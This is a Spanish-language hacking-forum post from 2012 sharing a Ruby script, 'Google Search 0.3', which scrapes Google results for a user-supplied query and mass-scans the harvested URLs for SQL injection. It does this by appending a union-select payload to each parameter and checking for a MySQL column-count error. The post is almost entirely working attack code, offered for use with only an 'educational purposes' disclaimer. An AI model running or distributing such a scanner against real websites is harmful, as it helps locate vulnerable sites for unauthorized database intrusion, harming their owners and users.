elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Ruby] Google Search 0.3
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Ruby] Google Search 0.3  (Leído 1,833 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Ruby] Google Search 0.3
« en: 11 Febrero 2012, 23:06 pm »

Un buscador de google , con la opcion de poder hacer un scanner SQLI en las paginas encontradas.

Código
  1. #!usr/bin/ruby
  2. #Google Search 0.3
  3. #Coded By Doddy H
  4.  
  5. require "net/http"
  6.  
  7. def toma(web)
  8.  return Net::HTTP.get_response(URI.parse(web)).body
  9. end
  10.  
  11. def openwords(file)
  12.  if File.file?(file)
  13.    print "[+] Opening file\n\n"
  14.    ar = File.open(file)
  15.    lineas = ar.readlines
  16.    ar.close
  17.    print "[+] Number of words : ",lineas.length,"\n\n"
  18.    return lineas
  19.  else
  20.    print "[-] Error opening file\n"
  21.  end
  22. end
  23.  
  24. def head()
  25.  print "
  26.  @@@@                     @           @@@                        @    
  27. @    @                    @          @   @                       @    
  28. @                         @          @                           @    
  29. @        @@@   @@@   @@@@ @  @@@     @       @@@   @@@  @@  @@@  @ @@
  30. @  @@@  @   @ @   @ @   @ @ @   @     @@@   @   @     @ @  @   @ @@  @
  31. @    @  @   @ @   @ @   @ @ @@@@@        @  @@@@@  @@@@ @  @     @   @
  32. @    @  @   @ @   @ @   @ @ @            @  @     @   @ @  @     @   @
  33. @   @@  @   @ @   @ @   @ @ @   @    @   @  @   @ @   @ @  @   @ @   @
  34.  @@@ @   @@@   @@@   @@@@ @  @@@      @@@    @@@   @@@@ @   @@@  @   @
  35.                         @                                            
  36.                     @@@@                                              
  37.  
  38.  
  39.  
  40.                     "
  41. end
  42.  
  43. def retor()
  44.  print "\n\n[+] Press any key to continue\n\n"
  45.  gets.chomp
  46.  menu()
  47. end
  48.  
  49.  
  50. def copyright()
  51.  print "\n\n(C) Doddy Hackman 2012\n\n"
  52.  exit(1)
  53. end
  54.  
  55. def about()
  56.  print "
  57.  
  58. This program was written by Doddy in the summer of 2012, I will not take responsibility for any misuse that can be given to the program was written only for educational purposes.
  59. Any questions or suggestions please contact me my mail lepuke [at] hotmail.com
  60.  
  61.  "
  62.  
  63. end
  64.  
  65.  
  66. def googlear(string,cantidad)
  67.  print "\n\n[+] Searching ....\n\n"
  68.  string = string.sub(/ /,"+")
  69.  contador = 0
  70.  guardo = []
  71.  for i in ("1"..cantidad)
  72.    contador+=10
  73.    url = "http://www.google.com.ar/search?hl=&q=#{string}&start=#{contador}"
  74.    code = toma(url)
  75.    links = URI::extract(code)
  76.    links.each do |link|
  77.      if link=~/cache:(.*?):(.*?)\+/
  78.        guardo.push($2)
  79.      end
  80.    end
  81.  end
  82.  guardo = guardo.uniq
  83.  print "\n\n[+] Pages Count : ",guardo.length,"\n\n"
  84.  return guardo
  85. end
  86.  
  87. def savefile(file,text)
  88.   save = File.open(file, "a")
  89.   save.puts text+"\n"
  90.   save.close
  91. end
  92.  
  93. def menu()
  94.  head()
  95.  print "\n\n1 - Search in google\n"
  96.  print "2 - Scan SQLI\n"
  97.  print "3 - About\n"
  98.  print "4 - Exit"
  99.  print "\n\n[Option] : "
  100.  op = gets.chomp
  101.  
  102.  if op == "1"
  103.    print "\n\n[+] String : "
  104.    string = gets.chomp
  105.    print "\n\n[+] Pages : "
  106.    pages = gets.chomp
  107.    total = googlear(string,pages)
  108.    total.each do |to|
  109.      print "[Link] : ",to,"\n"
  110.      savefile(string+".txt",to)
  111.    end
  112.    retor()
  113.  
  114.  elsif op=="2"
  115.    print "\n\n[+] File : "
  116.    fi = gets.chomp
  117.    paginas = openwords(fi)
  118.    print "[+] Scanning ..\n\n\n"
  119.    paginas.each do |pag|
  120.      pag = pag.chomp
  121.      if pag=~/(.*)=(.*)/
  122.        final = $1+"="
  123.        code = toma(final+"1+and+1=0+union+select+1--")
  124.        if code=~/The used SELECT statements have a different number of columns/
  125.          print "[SQLI] : "+final+"\n"
  126.        end
  127.      end
  128.    end
  129.    print "\n\n[+] Finished\n\n"
  130.    retor()
  131.  
  132.  elsif op =="3"
  133.    about()
  134.    gets.chomp
  135.    menu()
  136.  
  137.  elsif op=="4"
  138.    copyright()
  139.  else
  140.   menu()    
  141.  end
  142. end
  143.  
  144. menu()
  145.  
  146. # The End ?
  147.  
  148.  


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Bot MySQL Search Google 2.0
Nivel Web
MagnoBalt 8 5,849 Último mensaje 3 Noviembre 2009, 03:44 am
por MagnoBalt
aparecer sitio actualizado en google search
Desarrollo Web
basickdagger 2 1,695 Último mensaje 26 Abril 2013, 16:42 pm
por basickdagger
Google cierra SMS Search
Noticias
wolfbcn 0 1,138 Último mensaje 13 Mayo 2013, 13:00 pm
por wolfbcn
Google Search sube peldaños conversando con nosotros y funcionando como ....
Noticias
wolfbcn 1 1,284 Último mensaje 16 Mayo 2013, 17:17 pm
por REEND
Google Search cambia su nombre a Google
Noticias
wolfbcn 0 1,582 Último mensaje 8 Enero 2015, 21:39 pm
por wolfbcn
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines